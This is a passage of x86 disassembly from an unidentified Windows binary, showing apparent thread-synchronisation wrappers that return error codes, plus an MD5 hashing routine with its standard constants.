or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFC3: ; CODE XREF: sub_42DF90+7j
; sub_42DF90+Dj
mov esi, 16h
call ds:dword_4B3A50
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFD5: ; CODE XREF: sub_42DF90+1Fj
xor eax, eax
pop esi
retn
sub_42DF90 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E000 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_42E02D
mov eax, [eax]
test eax, eax
jz short loc_42E02D
mov eax, [eax]
push eax
call sub_4015BE
mov esi, eax
add esp, 4
test esi, esi
jz short loc_42E03F
call ds:dword_4B3A50
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E02D: ; CODE XREF: sub_42E000+7j
; sub_42E000+Dj
mov esi, 16h
call ds:dword_4B3A50
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E03F: ; CODE XREF: sub_42E000+1Ej
xor eax, eax
pop esi
retn
sub_42E000 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E070 proc near ; CODE XREF: sub_4017CBj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_42E093
mov esi, 16h
call ds:dword_4B3A50
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42E093: ; CODE XREF: sub_42E070+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_42E0A2
or ebx, 0FFFFFFFFh
jmp short loc_42E100
; ---------------------------------------------------------------------------
loc_42E0A2: ; CODE XREF: sub_42E070+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
call sub_4305A6
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_42E100
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_42E100
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42E100
dec ebx
loc_42E100: ; CODE XREF: sub_42E070+30j
; sub_42E070+49j ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401C49
add esp, 8
mov esi, eax
test esi, esi
pop edi
pop ebx
jz short loc_42E128
call ds:dword_4B3A50
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42E128: ; CODE XREF: sub_42E070+A5j
pop esi
xor eax, eax
pop ebp
add esp, 0Ch
retn
sub_42E070 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E160 proc near ; CODE XREF: sub_401037j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_42E17F
mov eax, [eax]
test eax, eax
jz short loc_42E17F
mov eax, [eax]
push 0
push 1
push eax
call ds:dword_4B3800
test eax, eax
jnz short loc_42E18F
loc_42E17F: ; CODE XREF: sub_42E160+6j
; sub_42E160+Cj
call ds:dword_4B3A50
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_42E18F: ; CODE XREF: sub_42E160+1Dj
xor eax, eax
retn
sub_42E160 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E1B0 proc near ; CODE XREF: sub_401EDDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_42E1D6
mov eax, [eax]
test eax, eax
jz short loc_42E1D6
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_42E1D6
mov eax, [eax]
push 0
push ecx
push eax
call ds:dword_4B3800
test eax, eax
jnz short loc_42E1E6
loc_42E1D6: ; CODE XREF: sub_42E1B0+6j
; sub_42E1B0+Cj ...
call ds:dword_4B3A50
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_42E1E6: ; CODE XREF: sub_42E1B0+24j
xor eax, eax
retn
sub_42E1B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E200: ; CODE XREF: _294ADE7B:004013DEj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_42E24D
mov esi, [eax]
test esi, esi
jz short loc_42E24D
mov edi, [esp+10h]
test edi, edi
jz short loc_42E24D
mov eax, [esi]
push 0
push eax
call ds:dword_4B3848
cmp eax, 102h
jnz short loc_42E231
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E231: ; CODE XREF: _294ADE7B:0042E228j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
call ds:dword_4B3800
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E24D: ; CODE XREF: _294ADE7B:0042E208j
; _294ADE7B:0042E20Ej ...
call ds:dword_4B3A50
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E280: ; CODE XREF: _294ADE7B:00402072j
call ds:dword_4B3A50
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2A0: ; CODE XREF: _294ADE7B:00401EB0j
call ds:dword_4B3A50
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2C0: ; CODE XREF: _294ADE7B:00401B90j
call ds:dword_4B3A50
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E2E0 proc near ; CODE XREF: sub_4018B6j
arg_0 = dword ptr 4
push esi
push offset dword_4B27A0
xor esi, esi
call ds:dword_4B3868
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42E314
push esi
push ecx
call sub_402054
add esp, 8
mov esi, eax
push offset dword_4B27A0
call ds:dword_4B386C
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E314: ; CODE XREF: sub_42E2E0+17j
test eax, eax
jnz short loc_42E31D
mov esi, 16h
loc_42E31D: ; CODE XREF: sub_42E2E0+36j
push offset dword_4B27A0
call ds:dword_4B386C
mov eax, esi
pop esi
retn
sub_42E2E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E350 proc near ; CODE XREF: sub_402054j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_42E36E
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E36E: ; CODE XREF: sub_42E350+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401B13
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_42E3A9
mov [esp+14h+var_4], 1
loc_42E38B: ; CODE XREF: sub_42E350+5Ej
; sub_42E350+63j
push 8
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42E3C0
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E3A9: ; CODE XREF: sub_42E350+31j
cmp [esp+14h+var_4], 1
jle short loc_42E38B
cmp ebx, 1
jnz short loc_42E38B
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E3C0: ; CODE XREF: sub_42E350+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_42E3DD
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E3DD: ; CODE XREF: sub_42E350+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_40192E
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42E413
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_40200E
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_42E413
mov dword ptr [esi], 3
loc_42E413: ; CODE XREF: sub_42E350+9Ej
; sub_42E350+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_40109B
add esp, 4
test edi, edi
jnz short loc_42E42F
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E42F: ; CODE XREF: sub_42E350+D2j
push esi
call ds:dword_4B3AAC
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42E350 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E490: ; CODE XREF: _294ADE7B:004010F0j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_42E535
mov esi, [edi]
test esi, esi
jz loc_42E535
cmp esi, 0FFFFFFFFh
jz short loc_42E4F8
cmp dword ptr [esi], 3
jnz short loc_42E4DD
lea eax, [esi+4]
push eax
call sub_402090
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42E52F
loc_42E4C7: ; CODE XREF: _294ADE7B:0042E4EBj
push esi
mov dword ptr [edi], 0
call ds:dword_4B3AAC
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42E4DD: ; CODE XREF: _294ADE7B:0042E4B3j
push 1
push 0
push esi
call ds:dword_4B26F4
cmp eax, 1
jz short loc_42E4C7
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42E4F8: ; CODE XREF: _294ADE7B:0042E4AEj
push offset dword_4B27A0
call ds:dword_4B3868
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42E51F
push offset dword_4B27A0
mov dword ptr [edi], 0
call ds:dword_4B386C
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42E51F: ; CODE XREF: _294ADE7B:0042E506j
push offset dword_4B27A0
mov ebx, 10h
call ds:dword_4B386C
loc_42E52F: ; CODE XREF: _294ADE7B:0042E4C5j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42E535: ; CODE XREF: _294ADE7B:0042E49Bj
; _294ADE7B:0042E4A5j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E570: ; CODE XREF: _294ADE7B:0040202Cj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42E5D1
mov eax, [esi]
test eax, eax
jz short loc_42E5D1
cmp eax, 0FFFFFFFFh
jnz short loc_42E591
push esi
call sub_4018B6
add esp, 4
test eax, eax
jnz short loc_42E5D6
loc_42E591: ; CODE XREF: _294ADE7B:0042E582j
mov esi, [esi]
push 1
push 2
push esi
call ds:dword_4B26F4
cmp eax, 2
jnz short loc_42E5B3
loc_42E5A3: ; CODE XREF: _294ADE7B:0042E5B1j
push 1
push 2
push esi
call ds:dword_4B26F4
cmp eax, 2
jz short loc_42E5A3
loc_42E5B3: ; CODE XREF: _294ADE7B:0042E5A1j
mov eax, [esi]
cmp eax, 2
jnz short loc_42E5BE
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E5BE: ; CODE XREF: _294ADE7B:0042E5B8j
cmp eax, 3
jnz short loc_42E5D1
add esi, 4
push esi
call sub_40208B
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E5D1: ; CODE XREF: _294ADE7B:0042E577j
; _294ADE7B:0042E57Dj ...
mov eax, 16h
loc_42E5D6: ; CODE XREF: _294ADE7B:0042E58Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E600: ; CODE XREF: _294ADE7B:004019C4j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_42E641
mov esi, [eax]
test esi, esi
jz short loc_42E641
cmp esi, 0FFFFFFFFh
jnz short loc_42E61B
loc_42E614: ; CODE XREF: _294ADE7B:0042E627j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E61B: ; CODE XREF: _294ADE7B:0042E612j
push 2
push 1
push esi
call ds:dword_4B26F4
dec eax
jz short loc_42E614
dec eax
jz short loc_42E63D
dec eax
jnz short loc_42E641
add esi, 4
push esi
call sub_4010AF
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E63D: ; CODE XREF: _294ADE7B:0042E62Aj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E641: ; CODE XREF: _294ADE7B:0042E607j
; _294ADE7B:0042E60Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E670: ; CODE XREF: _294ADE7B:0040185Cj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42E6C0
mov eax, [esi]
test eax, eax
jz short loc_42E6C0
cmp eax, 0FFFFFFFFh
jnz short loc_42E691
push esi
call sub_4018B6
add esp, 4
test eax, eax
jnz short loc_42E6C5
loc_42E691: ; CODE XREF: _294ADE7B:0042E682j
mov esi, [esi]
push 1
push 2
push esi
call ds:dword_4B26F4
dec eax
jz short loc_42E6BC
dec eax
jz short loc_42E6B5
dec eax
jnz short loc_42E6C0
add esi, 4
push esi
call sub_4016DB
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E6B5: ; CODE XREF: _294ADE7B:0042E6A2j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E6BC: ; CODE XREF: _294ADE7B:0042E69Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E6C0: ; CODE XREF: _294ADE7B:0042E677j
; _294ADE7B:0042E67Dj ...
mov eax, 16h
loc_42E6C5: ; CODE XREF: _294ADE7B:0042E68Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E6F0: ; CODE XREF: _294ADE7B:00401217j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_4016B3
add esp, 8
test eax, eax
jnz short loc_42E71C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_42E717
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E717: ; CODE XREF: _294ADE7B:0042E70Ej
xor eax, eax
mov [esi+20h], ecx
loc_42E71C: ; CODE XREF: _294ADE7B:0042E702j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E730 proc near ; CODE XREF: sub_4016B8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_4016B3
add esp, 8
test eax, eax
jnz short loc_42E7BC
call sub_4012AD
test eax, eax
jnz short loc_42E754
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E754: ; CODE XREF: sub_42E730+1Bj
push edi
push esi
push eax
call sub_40196F
add esp, 8
test eax, eax
jz short loc_42E76D
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E76D: ; CODE XREF: sub_42E730+31j
cmp dword ptr [esi+20h], 1
jnz short loc_42E77D
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E77D: ; CODE XREF: sub_42E730+41j
mov eax, [esi+4]
push eax
call sub_4015BE
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42E7B4
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_42E7A6
mov ecx, [esi+4]
push eax
push ecx
call ds:dword_4B37FC
test eax, eax
jz short loc_42E7B4
loc_42E7A6: ; CODE XREF: sub_42E730+65j
push esi
call sub_4016F4
add esp, 4
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E7B4: ; CODE XREF: sub_42E730+5Dj
; sub_42E730+74j
mov edi, 3
mov eax, edi
pop edi
loc_42E7BC: ; CODE XREF: sub_42E730+12j
pop esi
retn
sub_42E730 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E7F0 proc near ; CODE XREF: sub_401582j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42E815
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E815: ; CODE XREF: sub_42E7F0+15j
call ds:dword_4B37F8
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_42E83E
push esi
mov edi, 0Bh
call ds:dword_4B3AAC
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E83E: ; CODE XREF: sub_42E7F0+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_42E85B
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E85B: ; CODE XREF: sub_42E7F0+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_42E7F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E890 proc near ; CODE XREF: sub_4019BFj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_42E920
cmp [ebx+0Ch], ebp
jz short loc_42E8FC
cmp [ebx+4], ebp
jz short loc_42E8FC
lea eax, [ebx+8]
push eax
call sub_40208B
add esp, 4
test eax, eax
jnz short loc_42E8FC
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_42E8EF
push edi
loc_42E8C3: ; CODE XREF: sub_42E890+5Cj
push esi
call sub_40208B
add esp, 4
test eax, eax
jnz short loc_42E8EA
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010AF
push esi
call sub_40105A
add esp, 8
mov esi, edi
loc_42E8EA: ; CODE XREF: sub_42E890+3Ej
cmp esi, ebp
jnz short loc_42E8C3
pop edi
loc_42E8EF: ; CODE XREF: sub_42E890+30j
lea eax, [ebx+8]
push eax
call sub_4010AF
add esp, 4
pop esi
loc_42E8FC: ; CODE XREF: sub_42E890+13j
; sub_42E890+18j ...
mov eax, [ebx]
push eax
call ds:dword_4B37F4
cmp [ebx+4], ebp
jz short loc_42E916
lea ecx, [ebx+8]
push ecx
call sub_402090
add esp, 4
loc_42E916: ; CODE XREF: sub_42E890+78j
push ebx
call ds:dword_4B3AAC
add esp, 4
loc_42E920: ; CODE XREF: sub_42E890+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_42E890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E960 proc near ; CODE XREF: sub_401F5Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_4B26E0
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_42E984
call sub_4012AD
test eax, eax
jnz short loc_42E993
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42E984: ; CODE XREF: sub_42E960+11j
push eax
call sub_40116D
add esp, 4
test eax, eax
jnz short loc_42E993
mov eax, ebx
loc_42E993: ; CODE XREF: sub_42E960+1Aj
; sub_42E960+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_42E9F5
test eax, eax
jz short loc_42E9E2
mov ecx, [esi+4]
test ecx, ecx
jz short loc_42E9E2
test ebx, ebx
jz short loc_42E9E2
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_42E9CD
loc_42E9B7: ; CODE XREF: sub_42E960+65j
cmp [ecx+8], esi
jz short loc_42E9C9
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_42E9B7
jmp short loc_42E9CD
; ---------------------------------------------------------------------------
loc_42E9C9: ; CODE XREF: sub_42E960+5Aj
test ecx, ecx
jnz short loc_42E9E2
loc_42E9CD: ; CODE XREF: sub_42E960+55j
; sub_42E960+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401C99
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_42E9F5
loc_42E9E2: ; CODE XREF: sub_42E960+3Cj
; sub_42E960+43j ...
mov ecx, [esi]
push ebx
push ecx
call ds:dword_4B3814
test eax, eax
jnz short loc_42E9F5
mov edi, 0Bh
loc_42E9F5: ; CODE XREF: sub_42E960+38j
; sub_42E960+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_42E960 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA30 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4B3898
mov esi, eax
call sub_430A5C
mov edi, eax
mov eax, [esp+0Ch+arg_0]
mov ecx, [eax]
push ecx
call ds:dword_4B37EC
push esi
mov ebx, eax
call ds:dword_4B37F0
push edi
call sub_430AB0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42EA30 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA80 proc near ; CODE XREF: sub_401974j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_42EA80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EAC0 proc near ; CODE XREF: sub_401B09j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_42EAEB
inc dword ptr [esi+14h]
loc_42EAEB: ; CODE XREF: sub_42EAC0+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_42EB49
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_42F8C0
lea ecx, [esi+18h]
push ecx
push esi
call sub_42EC30
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_42EB45
loc_42EB29: ; CODE XREF: sub_42EAC0+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_42EC30
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_42EB29
loc_42EB45: ; CODE XREF: sub_42EAC0+67j
xor eax, eax
jmp short loc_42EB4B
; ---------------------------------------------------------------------------
loc_42EB49: ; CODE XREF: sub_42EAC0+41j
xor ebp, ebp
loc_42EB4B: ; CODE XREF: sub_42EAC0+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_42F8C0
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42EAC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EBA0 proc near ; CODE XREF: sub_401FCDj
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_42F7E0
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_42EBD3
mov ecx, 78h
loc_42EBD3: ; CODE XREF: sub_42EBA0+2Cj
sub ecx, eax
push ecx
push offset aA_0 ; "€"
push edi
call sub_401B09
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401B09
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_42F7E0
push 58h
push 0
push edi
call sub_42F8F0
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_42EBA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EC30 proc near ; CODE XREF: sub_42EAC0+58p
; sub_42EAC0+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_42F850
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
